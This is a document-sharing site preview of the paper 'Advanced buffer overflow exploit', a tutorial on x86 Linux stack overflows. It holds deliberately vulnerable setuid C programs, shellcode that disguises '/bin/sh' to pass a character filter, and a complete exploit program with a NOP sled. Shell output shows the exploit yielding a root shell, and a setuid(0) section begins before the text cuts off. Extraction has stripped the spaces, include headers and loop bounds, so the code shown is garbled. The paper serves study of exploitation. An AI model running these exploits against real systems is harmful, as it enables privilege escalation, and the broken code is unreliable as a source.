高级缓冲区溢出攻击.docx

上传人:b****6 文档编号:8022793 上传时间:2023-05-12 格式:DOCX 页数:42 大小:24.94KB
下载 相关 举报
高级缓冲区溢出攻击.docx_第1页
第1页 / 共42页
高级缓冲区溢出攻击.docx_第2页
第2页 / 共42页
高级缓冲区溢出攻击.docx_第3页
第3页 / 共42页
高级缓冲区溢出攻击.docx_第4页
第4页 / 共42页
高级缓冲区溢出攻击.docx_第5页
第5页 / 共42页
高级缓冲区溢出攻击.docx_第6页
第6页 / 共42页
高级缓冲区溢出攻击.docx_第7页
第7页 / 共42页
高级缓冲区溢出攻击.docx_第8页
第8页 / 共42页
高级缓冲区溢出攻击.docx_第9页
第9页 / 共42页
高级缓冲区溢出攻击.docx_第10页
第10页 / 共42页
高级缓冲区溢出攻击.docx_第11页
第11页 / 共42页
高级缓冲区溢出攻击.docx_第12页
第12页 / 共42页
高级缓冲区溢出攻击.docx_第13页
第13页 / 共42页
高级缓冲区溢出攻击.docx_第14页
第14页 / 共42页
高级缓冲区溢出攻击.docx_第15页
第15页 / 共42页
高级缓冲区溢出攻击.docx_第16页
第16页 / 共42页
高级缓冲区溢出攻击.docx_第17页
第17页 / 共42页
高级缓冲区溢出攻击.docx_第18页
第18页 / 共42页
高级缓冲区溢出攻击.docx_第19页
第19页 / 共42页
高级缓冲区溢出攻击.docx_第20页
第20页 / 共42页
亲,该文档总共42页,到这儿已超出免费预览范围,如果喜欢就下载吧!
下载资源
资源描述

高级缓冲区溢出攻击.docx

《高级缓冲区溢出攻击.docx》由会员分享,可在线阅读,更多相关《高级缓冲区溢出攻击.docx(42页珍藏版)》请在冰点文库上搜索。

高级缓冲区溢出攻击.docx

高级缓冲区溢出攻击

高级缓冲区溢出攻击

未知2004-9-2

Advancedbufferoverflowexploit

WrittenbyTaehoOh(ohhara@postech.edu)

----------------------------------------------------------------------------

TaehoOh(ohhara@postech.edu)http:

//postech.edu/~ohhara

PLUS(PostechLaboratoryforUnixSecurity)http:

//postech.edu/plus

PosLUG(PostechLinuxUserGroup)http:

//postech.edu/group/poslug

----------------------------------------------------------------------------

1.Introduction

Nowadaystherearemanybufferoverflowexploitcodes.Theearlybuffer

overflowexploitcodesonlyspawnashell(execute/bin/sh).However,

nowadayssomeofthebufferoverflowexploitcodeshaveverynicefeatures.

Forexample,passingthroughfiltering,openingasocket,breakingchroot,

andsoon.Thispaperwillattempttoexplaintheadvancedbufferoverflow

exploitskillunderintelx86linux.

2.Whatdoyouhavetoknowbeforereading?

Youhavetoknowassemblylanguage,Clanguage,andLinux.Ofcourse,you

havetoknowwhatbufferoverflowis.Youcangettheinformationofthe

bufferoverflowinphrack49-14(SmashingTheStackForFunAndProfit

byAleph1).ItisawonderfulpaperofbufferoverflowandIhighlyrecommend

youtoreadthatbeforereadingthisone.

3.Passthroughfiltering

Therearemanyprogramswhichhasbufferoverflowproblems.Whyarenotthe

allbufferoverflowproblemsexploited?

Becauseevenifaprogramhasabuffer

overflowcondition,itcanbehardtoexploit.Inmanycases,thereasonis

thattheprogramfilterssomecharactersorconvertscharactersintoother

characters.Iftheprogramfiltersallnonprintablecharacters,it'stoo

hardtoexploit.Iftheprogramfilterssomeofcharacters,youcanpass

throughthefilterbymakinggoodbufferoverflowexploitcode.:

3.1Theexamplevulnerableprogram

vulnerable1.c

----------------------------------------------------------------------------

#include

#include

intmain(intargc,int**argv)

{

charbuffer[1024];

inti;

if(argc>1)

{

for(i=0;i

argv[1][i]=toupper(argv[1][i]);

strcpy(buffer,argv[1]);

}

}

----------------------------------------------------------------------------

Thisvulnerableprogramconvertssmalllettersintocapitallettersofthe

userinput.Therefore,youhavetomakeashellcodewhichdoesn'tcontainany

smallletters.Howcanyoudothat?

Youhavetoreferencethecharacterstring

"/bin/sh"whichmustcontainsmallletters.However,youcanexploitthis.:

3.2Modifythenormalshellcode

Almostallbufferoverflowexploitcodeusesthisshellcode.Nowyouhave

toremoveallsmalllettersintheshellcode.Ofcourse,thenewshellcode

hastoexecuteashell.

normalshellcode

----------------------------------------------------------------------------

charshellcode[]=

"\xeb\x1f"/*jmp0x1f*/

"\x5e"/*popl%esi*/

"\x89\x76\x08"/*movl%esi,0x8(%esi)*/

"\x31\xc0"/*xorl%eax,%eax*/

"\x88\x46\x07"/*movb%eax,0x7(%esi)*/

"\x89\x46\x0c"/*movl%eax,0xc(%esi)*/

"\xb0\x0b"/*movb$0xb,%al*/

"\x89\xf3"/*movl%esi,%ebx*/

"\x8d\x4e\x08"/*leal0x8(%esi),%ecx*/

"\x8d\x56\x0c"/*leal0xc(%esi),%edx*/

"\xcd\x80"/*int$0x80*/

"\x31\xdb"/*xorl%ebx,%ebx*/

"\x89\xd8"/*movl%ebx,%eax*/

"\x40"/*inc%eax*/

"\xcd\x80"/*int$0x80*/

"\xe8\xdc\xff\xff\xff"/*call-0x24*/

"/bin/sh";/*.string\"/bin/sh\"*/

----------------------------------------------------------------------------

Thisshellcodehas6smallletters.(5smalllettersinthe"/bin/sh"and

1smallletterin"movl%esi,0x8(%esi)")

Youcannotuse"/bin/sh"characterstringdirectlytopassthroughthe

filter.However,youcaninsertanycharactersexceptforsmallcharacters.

Therefore,youcaninsert"\x2f\x12\x19\x1e\x2f\x23\x18"insteadof

"\x2f\x62\x69\x6e\x2f\x73\x68"("/bin/sh").Afteryouoverflowthebuffer

youhavetochange"\x2f\x12\x19\x1e\x2f\x23\x18"into

"\x2f\x62\x69\x6e\x2f\x73\x68"toexecute"/bin/sh".Youcanchangeeasily

byadding\x50to\x62,\x69,\x6e,\x73,and\x68whenyourshellcode

isexecuted.Thenhowcanyouhide\x76in"movl%esi,0x8(%esi)"?

You

canchange"movl%esi,0x8(%esi)"intootherinstructionsthatdotheequivalent

instructionanddonotcontainanysmallletters.Forexample,

"movl%esi,0x8(%esi)"canbechangedinto"movl%esi,%eax","addl$0x8,%eax",

"movl%eax,0x8(%esi)".Thechangedinstructionshaveanysmallletters.

(Ithinkothergoodinstructionstodosamething.It'sjustanexample.)

Nowthenewshellcodeismade.

newshellcode

----------------------------------------------------------------------------

charshellcode[]=

"\xeb\x38"/*jmp0x38*/

"\x5e"/*popl%esi*/

"\x80\x46\x01\x50"/*addb$0x50,0x1(%esi)*/

"\x80\x46\x02\x50"/*addb$0x50,0x2(%esi)*/

"\x80\x46\x03\x50"/*addb$0x50,0x3(%esi)*/

"\x80\x46\x05\x50"/*addb$0x50,0x5(%esi)*/

"\x80\x46\x06\x50"/*addb$0x50,0x6(%esi)*/

"\x89\xf0"/*movl%esi,%eax*/

"\x83\xc0\x08"/*addl$0x8,%eax*/

"\x89\x46\x08"/*movl%eax,0x8(%esi)*/

"\x31\xc0"/*xorl%eax,%eax*/

"\x88\x46\x07"/*movb%eax,0x7(%esi)*/

"\x89\x46\x0c"/*movl%eax,0xc(%esi)*/

"\xb0\x0b"/*movb$0xb,%al*/

"\x89\xf3"/*movl%esi,%ebx*/

"\x8d\x4e\x08"/*leal0x8(%esi),%ecx*/

"\x8d\x56\x0c"/*leal0xc(%esi),%edx*/

"\xcd\x80"/*int$0x80*/

"\x31\xdb"/*xorl%ebx,%ebx*/

"\x89\xd8"/*movl%ebx,%eax*/

"\x40"/*inc%eax*/

"\xcd\x80"/*int$0x80*/

"\xe8\xc3\xff\xff\xff"/*call-0x3d*/

"\x2f\x12\x19\x1e\x2f\x23\x18";/*.string"/bin/sh"*/

/*/bin/shisdisguised*/

----------------------------------------------------------------------------

3.3Exploitvulnerable1program

Withthisshellcode,youcanmakeanexploitcodeeasily.

exploit1.c

----------------------------------------------------------------------------

#include

#include

#defineALIGN0

#defineOFFSET0

#defineRET_POSITION1024

#defineRANGE20

#defineNOP0x90

charshellcode[]=

"\xeb\x38"/*jmp0x38*/

"\x5e"/*popl%esi*/

"\x80\x46\x01\x50"/*addb$0x50,0x1(%esi)*/

"\x80\x46\x02\x50"/*addb$0x50,0x2(%esi)*/

"\x80\x46\x03\x50"/*addb$0x50,0x3(%esi)*/

"\x80\x46\x05\x50"/*addb$0x50,0x5(%esi)*/

"\x80\x46\x06\x50"/*addb$0x50,0x6(%esi)*/

"\x89\xf0"/*movl%esi,%eax*/

"\x83\xc0\x08"/*addl$0x8,%eax*/

"\x89\x46\x08"/*movl%eax,0x8(%esi)*/

"\x31\xc0"/*xorl%eax,%eax*/

"\x88\x46\x07"/*movb%eax,0x7(%esi)*/

"\x89\x46\x0c"/*movl%eax,0xc(%esi)*/

"\xb0\x0b"/*movb$0xb,%al*/

"\x89\xf3"/*movl%esi,%ebx*/

"\x8d\x4e\x08"/*leal0x8(%esi),%ecx*/

"\x8d\x56\x0c"/*leal0xc(%esi),%edx*/

"\xcd\x80"/*int$0x80*/

"\x31\xdb"/*xorl%ebx,%ebx*/

"\x89\xd8"/*movl%ebx,%eax*/

"\x40"/*inc%eax*/

"\xcd\x80"/*int$0x80*/

"\xe8\xc3\xff\xff\xff"/*call-0x3d*/

"\x2f\x12\x19\x1e\x2f\x23\x18";/*.string"/bin/sh"*/

/*/bin/shisdisguised*/

unsignedlongget_sp(void)

{

__asm__("movl%esp,%eax");

}

main(intargc,char**argv)

{

charbuff[RET_POSITION+RANGE+ALIGN+1],*ptr;

longaddr;

unsignedlongsp;

intoffset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;

inti;

if(argc>1)

offset=atoi(argv[1]);

sp=get_sp();

addr=sp-offset;

for(i=0;i

{

buff[i+ALIGN]=(addr&0x000000ff);

buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;

buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;

buff[i+ALIGN+3]=(addr&0xff000000)>>24;

}

for(i=0;i

buff[i]=NOP;

ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;

for(i=0;i

*(ptr++)=shellcode[i];

buff[bsize-1]='\0';

printf("Jumpto0x%08x\n",addr);

execl("./vulnerable1","vulnerable1",buff,0);

}

----------------------------------------------------------------------------

exploitthevulnerable1program

----------------------------------------------------------------------------

[ohhara@ohhara~]{1}$ls-lvulnerable1

-rwsr-xr-x1rootroot4342Oct1813:

20vulnerable1*

[ohhara@ohhara~]{2}$ls-lexploit1

-rwxr-xr-x1ohharacse6932Oct1813:

20exploit1*

[ohhara@ohhara~]{3}$./exploit1

Jumpto0xbfffec64

Segmentationfault

[ohhara@ohhara~]{4}$./exploit1500

Jumpto0xbfffea70

bash#whoami

root

bash#

----------------------------------------------------------------------------

3.4Whatcanyoudowiththistechnique?

Youcanpassthroughvariousformfilterswiththistechnique.Whenthe

vulnerableprogramfilter!

@#$%^&*(),youcanmakethenewshellcodewhich

doesn'tcontain!

@#$%^&*().However,youwillhavedifficultiesinmakinga

shellcode,iftheprogramfiltersmanycharacters.

4Changeuidbackto0

Thesetuidrootprogramwhichknowsthatworkwithrootpermissionisvery

dangerouscallsseteuid(getuid())atstart.Anditcallsseteuid(0)whenitis

needed.Manyprogrammerthinksthatit'ssafeaftercallingseteuid(getuid()).

However,it'snottrue.Theuidcanbebackto0.

4.1Theexamplevulnerableprogram

vulnerable2.c

----------------------------------------------------------------------------

#include

#include

intmain(intargc,char**argv)

{

charbuffer[1024];

seteuid(getuid());

if(argc>1)

strcpy(buffer,argv[1]);

}

----------------------------------------------------------------------------

Thisvulnerableprogramcallsseteuid(getuid())atstart.Therefore,you

maythinkthat"strcpy(buffer,argv[1]);"isOK.Becauseyoucanonlyget

yourownshellalthoughyousucceedinbufferoverflowattack.However,

ifyouinsertacodewhichcallssetuid(0)intheshellcode,youcanget

rootshell.:

4.2Makesetuid(0)code

setuidasm.c

----------------------------------------------------------------------------

main()

{

setuid(0);

}

----------------------------------------------------------------------------

compilean

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > 人文社科 > 法律资料

copyright@ 2008-2023 冰点文库 网站版权所有

经营许可证编号:鄂ICP备19020893号-2